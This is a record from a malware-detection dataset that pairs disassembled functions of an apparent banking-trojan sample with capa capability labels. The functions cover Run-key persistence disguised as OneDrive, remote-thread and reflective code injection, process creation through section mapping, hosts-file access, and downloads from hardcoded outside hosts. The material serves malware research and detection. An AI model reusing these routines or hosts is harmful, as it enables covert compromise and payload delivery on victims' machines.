joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002dbc
Capabilities:
Get common file path
Persist via run registry key

Disassembly:
push rbp
lea rbp, [rsp - 0x580]
sub rsp, 0x680
mov rax, qword [0x140035410]
xor rax, rsp
mov qword [rbp + 0x570], rax
call fcn.1400029c8
xor ecx, ecx
mov r8d, 0x104
lea rdx, [rsp + 0x40]
test al, al
jne 0x140002e85
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rax, [rsp + 0x30]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov r9d, 2
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140002e3f
lea r8, [rsp + 0x30]
lea rdx, str.OneDrive
lea rcx, [rsp + 0x40]
call fcn.140002ad0
xor r9d, r9d
lea rax, [rbp + 0x150]
xor r8d, r8d
lea edx, [r9 + 0x1c]
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x140002e79
lea r8, [rbp + 0x150]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x360]
call fcn.140002b28
lea rcx, [rbp + 0x360]
jmp 0x140002f0d
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rax, [rsp + 0x30]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov r9d, 2
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140002ecc
lea r8, [rsp + 0x30]
lea rdx, str.WpnUserService
lea rcx, [rsp + 0x40]
call fcn.140002ad0
xor r9d, r9d
lea rax, [rbp + 0x360]
xor r8d, r8d
lea edx, [r9 + 0x1c]
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x140002f06
lea r8, [rbp + 0x360]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x150]
call fcn.140002b28
lea rcx, [rbp + 0x150]
call fcn.140002c70
lea rcx, [rsp + 0x40]
call fcn.14000c770
mov rcx, qword [rbp + 0x570]
xor rcx, rsp
call fcn.14000bb20
add rsp, 0x680
pop rbp
ret

Function at 0x140002fa0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
movsxd rax, dword [rcx + 0x3c]
mov rbx, rcx
mov ecx, 0x10b
cmp word [rax + rbx + 0x18], cx
je 0x140003043
mov ecx, 0x20b
cmp word [rax + rbx + 0x18], cx
jne 0x140003043
mov ecx, dword [rax + rbx + 0x88]
mov rdx, rbx
call fcn.140002f34
mov rdx, rbx
mov r14d, eax
add r14, rbx
mov ecx, dword [r14 + 0x20]
call fcn.140002f34
mov ecx, dword [r14 + 0x24]
mov rdx, rbx
mov esi, eax
add rsi, rbx
call fcn.140002f34
mov ebp, dword [r14 + 0x18]
mov edi, eax
add rdi, rbx
jmp 0x14000303f
mov ecx, dword [rsi]
mov rdx, rbx
dec ebp
call fcn.140002f34
lea rdx, str.ReflectiveLoader
mov ecx, eax
add rcx, rbx
call fcn.14000c7e8
test rax, rax
jne 0x140003060
add rsi, 4
add rdi, 2
test ebp, ebp
jne 0x140003015
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov ecx, dword [r14 + 0x1c]
mov rdx, rbx
call fcn.140002f34
movzx r8d, word [rdi]
mov rdx, rbx
mov ecx, eax
add rcx, rbx
mov ecx, dword [rcx + r8*4]
call fcn.140002f34
jmp 0x140003045
Function at 0x140003084
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
mov rax, qword [0x140035410]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov r14d, r8d
mov rsi, rdx
mov rdi, rcx
xor ebx, ebx
mov dword [rsp + 0x48], ebx
mov dword [rsp + 0x4c], ebx
test rcx, rcx
je 0x140003178
test rdx, rdx
je 0x140003178
test r8d, r8d
je 0x140003178
mov rcx, rdx
call fcn.140002fa0
mov r12d, eax
test eax, eax
je 0x140003178
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, r14d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test rax, rax
je 0x140003178
mov dword [rsi + 2], r14d
mov qword [rsp + 0x20], rbx
mov r9d, r14d
mov r8, rsi
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140003178
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x20], rax
lea r9d, [rbx + 0x20]
mov r8d, r14d
mov rdx, r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x140003178
lea r9, [r15 + r12]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
xor edx, edx
mov r8d, 0x100000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
mov qword [rsp + 0x40], rax
jmp 0x140003181
mov rax, rbx
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14000bb20
add rsp, 0x60
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret

Function at 0x1400031a4
Capabilities:
Get file size
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x140035410]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rdi, rcx
lea rcx, str.___Overwriting_file_content_n
call fcn.14000c3a4
lea rdx, [rsp + 0x34]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
lea ebx, [rax - 0xc]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x140003229
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x30]
lea rdx, [0x14002bd80]
mov r8d, 8
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
sub ebx, dword [rsp + 0x30]
cmp ebx, 8
ja 0x1400031f0
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14000bb20
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret

Function at 0x140003248
Capabilities:
Parse pe header

Disassembly:
mov r9d, 0x5a4d
mov r8d, 0x400
mov r10d, 0x4550
test rcx, rcx
je 0x14000327c
cmp word [rcx], r9w
jne 0x14000327c
cmp dword [rcx + 0x3c], r8d
jg 0x14000327c
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], r10d
jne 0x14000327c
movzx edx, word [rax + rcx + 4]
jmp 0x14000327e
xor edx, edx
test rcx, rcx
je 0x1400032a4
cmp word [rcx], r9w
jne 0x1400032a4
cmp dword [rcx + 0x3c], r8d
jg 0x1400032a4
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], r10d
jne 0x1400032a4
mov ecx, 0x8664
mov eax, dword [rax + 0x28]
ret
xor eax, eax
ret
Function at 0x140003614
Capabilities:
Map section object
Parse pe header
Resume thread

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x220]
sub rsp, 0x320
mov rax, qword [0x140035410]
xor rax, rsp
mov qword [rbp + 0x210], rax
mov r15, rcx
mov rbx, rdx
lea rcx, [rbp + 2]
xor r12d, r12d
xor edx, edx
mov r8d, 0x206
mov r14, r9
mov word [rbp], r12w
call fcn.140015a30
lea rcx, [rbp]
or rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], r12w
jne 0x140003669
sub rax, 2
cmp word [rbp + rax*2], 0x5c
je 0x14000368c
cmp word [rbp + rax*2], 0x2f
je 0x14000368c
dec rax
jmp 0x140003677
lea rcx, [rbp + 2]
lea rcx, [rcx + rax*2]
test rcx, rcx
je 0x14000369d
mov word [rcx], r12w
lea rcx, [rbp]
mov edx, 0x104
call fcn.14000d0c8
lea rdi, [rbp]
lea rcx, str.kernel32
test rax, rax
mov qword [rsp + 0x68], r12
cmove rdi, r12
xor eax, eax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.CreateProcessInternalW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov qword [0x140038bb8], rax
test rax, rax
je 0x140003829
xor edx, edx
lea rcx, [rbp - 0x68]
lea r8d, [rdx + 0x60]
call fcn.140015a30
xor eax, eax
xor r9d, r9d
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x60]
mov r8, r15
xor edx, edx
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x68]
xor ecx, ecx
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x70]
mov dword [rbp - 0x70], 0x68
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], 0x800000c
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x20], r12
call rsi
test eax, eax
je 0x140003829
mov rdx, qword [rsp + 0x68]
mov dword [rsp + 0x48], 2
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], 1
lea rax, [rbp - 0x80]
lea r8, [rsp + 0x60]
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov rcx, r14
mov qword [rsp + 0x28], r12
mov qword [rbp - 0x80], r12
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x20], r12
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
test eax, eax
je 0x1400037c2
cmp eax, 0x40000003
jne 0x140003829
mov rdx, qword [rsp + 0x60]
test rdx, rdx
je 0x140003829
test rbx, rbx
je 0x140003800
mov eax, 0x5a4d
cmp word [rbx], ax
jne 0x140003800
cmp dword [rbx + 0x3c], 0x400
jg 0x140003800
movsxd rax, dword [rbx + 0x3c]
add rax, rbx
cmp dword [rax], 0x4550
jne 0x140003800
mov ecx, 0x20b
cmp word [rax + 0x18], cx
mov al, 1
je 0x140003803
mov al, r12b
test al, al
lea r8, [rsp + 0x68]
mov rcx, rbx
sete r9b
call fcn.1400014e8
test al, al
je 0x140003829
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov al, 1
jmp 0x14000382b
xor al, al
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.14000bb20
add rsp, 0x320
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x14000384c
Capabilities:
Link many functions at runtime
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x480
mov rax, qword [0x140035410]
xor rax, rsp
mov qword [rsp + 0x470], rax
lea rcx, [0x14002bd88]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor edi, edi
mov rbx, rax
test rax, rax
je 0x140003a38
lea rdx, str.NtCreateProcessEx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140003a38
lea rdx, str.RtlCreateProcessParametersEx
mov rcx, rbx
mov qword [0x140038bb0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140003a38
lea rdx, str.NtCreateThreadEx
mov rcx, rbx
mov qword [0x140038ba0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140003a38
lea rdx, str.NtQueryInformationFile
mov rcx, rbx
mov qword [0x140038ba8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000395b
lea rdx, str.NtQuerySystemInformation
mov rcx, rbx
mov qword [0x140038b88], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000395b
lea rdx, str.NtSuspendProcess
mov rcx, rbx
mov qword [0x140038b90], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000395b
lea rdx, str.NtResumeProcess
mov rcx, rbx
mov qword [0x140038b98], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000395b
mov qword [0x140038b80], rax
mov ebx, 0x104
lea rdx, [rsp + 0x260]
xor ecx, ecx
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x52]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x50], di
call fcn.140015a30
lea rdx, [rsp + 0x50]
lea rcx, str._SystemRoot__system32_relog.exe
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
xor r9d, r9d
mov qword [rsp + 0x30], rdi
lea rcx, [rsp + 0x260]
lea r8d, [r9 + 1]
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea rdx, [rsp + 0x40]
mov rcx, rax
mov qword [rsp + 0x40], rdi
mov rbx, rax
call fcn.14000b88c
mov rsi, rax
test rax, rax
je 0x140003a38
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [rsp + 0x40]
mov rcx, rsi
call fcn.1400032a8
mov rcx, rax
call fcn.140003574
lea rcx, [rsp + 0x50]
mov rdx, rsi
mov r9, rax
call fcn.140003614
mov rdx, qword [rsp + 0x40]
mov r8d, 0x4000
mov rcx, rsi
mov bl, al
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test bl, bl
setne dil
mov eax, edi
jmp 0x140003a3b
or eax, 0xffffffff
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.14000bb20
lea r11, [rsp + 0x480]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140005264
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0x260
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov rax, qword [0x140035410]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rdi, rcx
mov qword [rsp + 0x30], rcx
xor ebx, ebx
mov dword [rsp + 0x20], ebx
mov edx, 0x104
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov qword [rdi + 0x18], 7
mov qword [rdi + 0x10], rbx
mov word [rdi], bx
cmp word [rsp + 0x40], bx
je 0x1400052d7
lea rcx, [rsp + 0x40]
or rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], bx
jne 0x1400052cb
mov rbx, rax
mov r8, rbx
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.140003c1c
mov dword [rsp + 0x20], 1
lea rdx, str.driversetchosts
mov rcx, rdi
call fcn.140003aa4
mov rax, rdi
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.14000bb20
mov rbx, qword [rsp + 0x278]
add rsp, 0x260
pop rdi
ret
Function at 0x14000731c
Capabilities:
Create http request
Get http content length
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x140035410]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor r13d, r13d
mov r12, r8
mov rdi, rdx
lea ebx, [r13 + 1]
mov rsi, rcx
mov dword [r8], r13d
jmp 0x14000735f
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.NuclearBot
xor r9d, r9d
xor r8d, r8d
mov edx, ebx
mov dword [rsp + 0x20], r13d
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbp, rax
test rax, rax
je 0x140007354
cmp qword [rsi + 0x18], 8
jb 0x14000738d
mov rdx, qword [rsi]
jmp 0x140007390
mov rdx, rsi
mov ebx, 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, rbp
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], ebx
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov r14, rax
test rax, rax
jne 0x140007423
cmp qword [rdi + 0x18], 8
jb 0x1400073c1
mov rdx, qword [rdi]
jmp 0x1400073c4
mov rdx, rdi
xor r9d, r9d
xor r8d, r8d
mov rcx, rbp
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], ebx
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov r14, rax
test rax, rax
jne 0x140007423
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp qword [rsi + 0x18], 8
jb 0x1400073fc
mov rcx, qword [rsi]
call fcn.14000c484
mov qword [rsi + 0x10], r13
mov ebx, 7
mov qword [rsi + 0x18], rbx
mov word [rsi], r13w
cmp qword [rdi + 0x18], 8
jb 0x14000741c
mov rcx, qword [rdi]
call fcn.14000c484
xor eax, eax
jmp 0x1400074fc
lea r9, [rsp + 0x38]
lea r8, [rsp + 0x30]
mov edx, 0x20000005
mov rcx, r14
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x38], 4
mov qword [rsp + 0x20], r13
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
mov ebx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, r14
mov r15, rax
test rax, rax
jne 0x14000747e
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x1400073e4
mov r8d, dword [rsp + 0x30]
mov ebx, r13d
mov rdx, rax
jmp 0x1400074a5
mov eax, dword [rsp + 0x34]
test eax, eax
je 0x1400074b4
mov r8d, dword [rsp + 0x30]
add ebx, eax
mov rcx, r14
mov edx, ebx
sub r8d, ebx
add rdx, r15
lea r9, [rsp + 0x34]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x14000748b
mov rcx, r14
mov dword [r12], ebx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp qword [rsi + 0x18], 8
jb 0x1400074d9
mov rcx, qword [rsi]
call fcn.14000c484
mov qword [rsi + 0x10], r13
mov ebx, 7
mov qword [rsi + 0x18], rbx
mov word [rsi], r13w
cmp qword [rdi + 0x18], 8
jb 0x1400074f9
mov rcx, qword [rdi]
call fcn.14000c484
mov rax, r15
mov qword [rdi + 0x18], rbx
mov qword [rdi + 0x10], r13
mov word [rdi], r13w
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14000bb20
mov rbx, qword [rsp + 0xa8]
add rsp, 0x50
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140007530
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x140035410]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14000756f
xor al, al
jmp 0x1400075bf
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
xor ebx, ebx
test eax, eax
je 0x1400075b4
jmp 0x14000759e
lea rcx, [rsp + 0x4c]
mov rdx, rsi
call fcn.14000d0f0
test eax, eax
je 0x1400075b2
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14000758d
jmp 0x1400075b4
mov bl, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.14000bb20
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x140007718
Capabilities:
Get common file path
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [0x140035410]
xor rax, rsp
mov qword [rbp + 0x70], rax
xor eax, eax
mov rdi, rcx
xor ebx, ebx
lea rcx, [rsp + 0x60]
mov edx, 0x104
mov byte [rsp + 0x58], bl
mov dword [rsp + 0x59], eax
mov word [rsp + 0x5d], ax
mov byte [rsp + 0x5f], al
mov dword [rsp + 0x40], ebx
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
movzx ecx, byte [rsp + 0x60]
mov dword [rsp + 0x38], ebx
lea edx, [rbx + 0x43]
test eax, eax
cmove ecx, edx
mov qword [rsp + 0x30], rbx
lea r9, [rsp + 0x40]
mov byte [rsp + 0x60], cl
mov byte [rsp + 0x58], cl
lea rcx, [rsp + 0x58]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x28], rbx
mov word [rsp + 0x59], 0x5c3a
mov byte [rsp + 0x5b], bl
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov eax, dword [rsp + 0x40]
mov ecx, 0x69427551
imul eax, eax, 0x14a30b
sub eax, ecx
mov dword [rsp + 0x48], eax
imul eax, eax, 0x14a30b
sub eax, ecx
imul eax, eax, 0x14a30b
sub eax, ecx
mov word [rsp + 0x4e], ax
imul eax, eax, 0x14a30b
inc rbx
sub eax, ecx
mov byte [rsp + rbx + 0x4f], al
cmp rbx, 8
jl 0x1400077db
movzx r9d, word [rsp + 0x4e]
mov r8d, dword [rsp + 0x48]
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x52]
lea rdx, str._08lX_04lX_lu
mov rcx, rdi
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_wsprintfA]
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.14000bb20
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140007838
Capabilities:
Create directory
Get common file path

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140035410]
xor rax, rsp
mov qword [rsp + 0x58], rax
xor edx, edx
mov rbx, rcx
lea rcx, [rsp + 0x31]
lea r8d, [rdx + 0x22]
mov byte [rsp + 0x30], 0
call fcn.140015a30
lea rcx, [rsp + 0x30]
call fcn.140007718
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x1a]
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rdx, [0x14002e888]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, [0x14002e888]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [0x14002e8e0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14000bb20
add rsp, 0x60
pop rbx
ret
Function at 0x1400078f0
Capabilities:
Copy file
Create directory
Get common file path
Set file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x190]
sub rsp, 0x290
mov rax, qword [0x140035410]
xor rax, rsp
mov qword [rbp + 0x180], rax
xor edi, edi
mov rbx, rcx
lea rcx, [rsp + 0x39]
lea r8d, [rdi + 0x22]
xor edx, edx
mov dword [rsp + 0x30], edi
mov byte [rsp + 0x38], dil
call fcn.140015a30
lea rcx, [rsp + 0x38]
call fcn.140007718
lea rax, [rsp + 0x60]
lea edx, [rdi + 0x1a]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
je 0x140007980
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], rdi
mov byte [rbx], dil
xor r8d, r8d
lea rdx, [0x14002bbf8]
jmp 0x140007a63
lea rdx, [0x14002e888]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rcx, [rsp + 0x60]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x1400079c0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140007962
lea rdx, [rbp + 0x70]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [0x14002e888]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [0x14002e8e0]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rcx, [rsp + 0x60]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x70]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], rdi
mov byte [rbx], dil
test eax, eax
je 0x140007971
cmp byte [rsp + 0x60], dil
je 0x140007a5b
lea rcx, [rsp + 0x60]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], dil
jne 0x140007a4f
mov rdi, rax
mov r8, rdi
lea rdx, [rsp + 0x60]
mov rcx, rbx
call fcn.140001808
mov rax, rbx
mov rcx, qword [rbp + 0x180]
xor rcx, rsp
call fcn.14000bb20
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140007a94
Capabilities:
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov eax, 0x1060
call fcn.140019600
sub rsp, rax
mov rax, qword [0x140035410]
xor rax, rsp
mov qword [rsp + 0x1050], rax
and qword [rsp + 0x28], 0
mov rdi, rdx
mov rsi, rcx
lea rdx, str.https:__auth.xn__conbase_sfb.xyz_event.php
mov ebp, 0x80000000
xor r9d, r9d
mov rcx, rdi
xor r8d, r8d
mov dword [rsp + 0x20], ebp
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
jne 0x140007b25
and qword [rsp + 0x28], rax
lea rdx, str.https:__exchanger.ink_event.php
xor r9d, r9d
xor r8d, r8d
mov rcx, rdi
mov dword [rsp + 0x20], ebp
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
jne 0x140007b25
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
jmp 0x140007bdc
and qword [rsp + 0x30], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rcx, rbx
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140007b63
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140007b15
mov ebp, 1
jmp 0x140007b9e
mov r8d, dword [rsp + 0x40]
test r8d, r8d
je 0x140007bbc
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
lea rdx, [rsp + 0x50]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140007bba
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x40], eax
jne 0x140007bba
mov rcx, rbx
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov r8d, 0x1000
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140007b6a
jmp 0x140007bbc
xor ebp, ebp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test ebp, ebp
setne al
